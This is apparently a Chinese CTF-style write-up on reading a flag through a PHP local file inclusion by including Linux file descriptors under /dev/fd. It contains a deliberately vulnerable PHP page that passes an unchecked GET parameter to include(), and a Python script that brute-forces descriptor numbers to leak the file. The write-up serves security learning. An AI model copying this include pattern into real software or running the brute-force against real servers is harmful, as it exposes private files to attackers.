文件包含之包含了Linux文件描述符
0x00 原理
文件描述符是内核为了高效管理已被打开的文件所创建的索引,用于指向被打开的文件,所有执行I/O操作的系统调用都通过文件描述符。
- 翻译成人话- 可以认为是指向文件的一个指针,如果有文件被打开,就生成一个指针指向打开文件的位置。
- 文件描述符一般在linux的 /dev/fd/目录下
0x01 代码审计
<?php
$fp = fopen("flag.txt", "r");
echo $fp;
if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
include($_GET['include']);
}
fclose($fp);
echo highlight_file(__FILE__, true);
?>
访问页面

之前犯了一个小错误,我以为只要打开文件然后查看/dev/fd目录就能看到新生成的指针, 实在有点天真, 手速怎么可能比电脑快呢?然后就是开始乱查,是不是自己linux权限问题还是php有问题,或者是不能包含文件描述符?最后问了问大佬,马上就知道错在哪了,认识大佬真好。
大佬建议写个脚本进行观察
<?php
var_dump(scandir("/dev/fd/"));
$fp=fopen("flag.txt","r");
echo '<br/>';
var_dump(scandir("/dev/fd/"));
echo '<br/>';
fclose($fp);
var_dump(scandir("/dev/fd/"));
echo '<br/>';
?>
这里我打开的是flag.txt,观察生成的文件描述符名字是什么

可以看到 当fopen函数打开了 flag.txt时,扫描的fd目录下突然多出了13,然而13是因为存在12才出现的。可能是文件描述符源码中数组下标的问题。第12个指针才是真正保存文件位置的指针。

如果是黑盒渗透的情况下,我们需要写脚本进行爆破。
poc
import requests
url='http://localhost/fa.php'
for i in range(0,100):
payload=f'?include=/dev/fd/{i}'
#print(url+payload)
r=requests.get(url+payload)
if "flag={" in r.text:
print(r.text)
print(payload)
通过枚举法爆破每个目录下的文件名,因为文件描述符的文件名是根据打开文件的个数生成的,比如0代表打开第一个文件,1代表打开第二个文件。

可以得到flag
文件包含之包含了Linux文件描述符的更多相关文章
- [fw]LINUX中断描述符初始化
LINUX中断描述符初始化 @CopyLeft by ICANTH,I Can do ANy THing that I CAN THink!~ Author: WenHui, WuHan Univer ...
- Linux进程描述符task_struct结构体详解--Linux进程的管理与调度(一)【转】
Linux内核通过一个被称为进程描述符的task_struct结构体来管理进程,这个结构体包含了一个进程所需的所有信息.它定义在include/linux/sched.h文件中. 谈到task_str ...
- Linux 标准文件描述符
出于特殊目的,bash shell保留了最早的3个文件描述符0.1.2,如下所示: 1.STDIN标准输入 Shell从STDIN文件描述对应的键盘获得输入,在用户输入时处理每个字符. 范例1:cat ...
- 本地上传文件至服务器的技巧(linux文件压缩及解压文件)
linux(ubuntu)文件解压及压缩文件 ubuntu支持文件的解压及压缩功能, 如果ubuntu上面没有安装过unzip工具的话,可以通过下面命令安装: sudo apt-get install ...
- Linux 文件描述符详解
Overview 了解Linux怎样处理输入和输出是非常重要的.一旦我们了解其原理以后,我们就可以正确熟练地使用脚本把内容输出到正确的位置.同样我们也可以更好地理解输入重定向和输出重定向. Linux ...
- linux一切皆文件之Unix domain socket描述符(二)
一.知识准备 1.在linux中,一切皆为文件,所有不同种类的类型都被抽象成文件(比如:块设备,socket套接字,pipe队列) 2.操作这些不同的类型就像操作文件一样,比如增删改查等 3.主要用于 ...
- Linux文件I/O学习
Linux内核的VFS子系统: 文件描述符 对于内核而言,所有打开的文件都通过文件描述符引用.文件描述符是一个非负整数.当打开一个现有文件或创建一个新文件时,内核向进程返回一个文件描述符.当读 ...
- Linux文件和目录的属性及权限总结
本文讲述的是文件或目录的属性及权限,比如索引节点inode.文件类型.文件权限及属主:还对setuid.setgid及粘贴位进行了相关的讲解.其中,对ln.chmod.chown.chgrp.umas ...
- 18 shell 重定向以及文件描述符
1.对重定向的理解 2.硬件设备和文件描述符 文件描述符到底是什么 3.Linux Shell 输出重定向 4.Linux Shell 输入重定向 5.结合Linux文件描述符谈重定向 6.Shell ...
- Linux文件时间属性
Linux文件时间属性 ...
随机推荐
- 【笔记】《Redis设计与实现》chapter13 客户端
服务器为每个客户端建立相应的redis.h/redisClient结构,这个结构保存了客户端当前的状态信息 客户端的套接字描述符 客户端的名字 客户端的标志值 只想客户端正在使用的数据库的指针,以及该 ...
- Kubernetes部署metrics-server提示健康检测报错500,简单解决方式
为什么写? 最近有项目要用到HPA(Horizontal Pod Autoscaler)依赖了k8s的 metrics 指标才能做出自动缩扩容的动作,我这边用官方GitHub v0.4.2版本启动不起 ...
- Linux递归压缩图片脚本
1 压缩图片 使用ImageMagick的convert命令进行压缩图片,一般只需要一个指定压缩质量的参数,比如: convert -quality 75 1.jpg 1_compress.jpg 可 ...
- 16. Vue2.4+新增属性$attrs
vm.$attrs简介 首先我们来看下vue官方对vm.$attrs的介绍: 包含了父作用域中不作为 prop 被识别 (且获取) 的特性绑定 (class 和 style 除外).当一个组件没有声明 ...
- Salesforce学习之路(六)利用Visualforce Page实现页面的动态刷新功能
Visualforce是一个Web开发框架,允许开发人员构建可以在Lightning平台上本地托管的自定义用户界面.其框架包含:前端的界面设计,使用的类似于HTML的标记语言:以及后端的控制器,使用类 ...
- Kubernetes 降本增效标准指南 | 基于K8s 扩展机制构建云上成本控制系统
作者 王玉君,腾讯云后台高级开发工程师,负责腾讯云原生系统开发及建设. 晏子怡,腾讯云容器产品经理,在K8s弹性伸缩.资源管理领域有丰富的实战经验. 导语 Kubernetes 作为 IaaS 和 P ...
- 1091 Acute Stroke
One important factor to identify acute stroke (急性脑卒中) is the volume of the stroke core. Given the re ...
- 【OOM】记录一次生产上的OutOfMemory解决过程
一.项目架构 SpringCloud Dalston.SR1 + SpringBoot 1.5.9 + Mysql +Redis + RabbitMQ 所有的业务模块的应用服务都部署在同一个服务器, ...
- [CTF]unicode编码
[CTF]unicode编码 --------------------- 作者:adversity` 来源:CSDN 原文:https://blog.csdn.net/qq_40836553/a ...
- (一)RabbitMQ安装与基本配置
[博主使用的环境是阿里云ecs服务器,操作系统为centos] 安装erlang环境 RabbitMQ底层是Erlang语言,因此要先安装erlang环境,就像你要运行Java程序就必须先安装JRE/ ...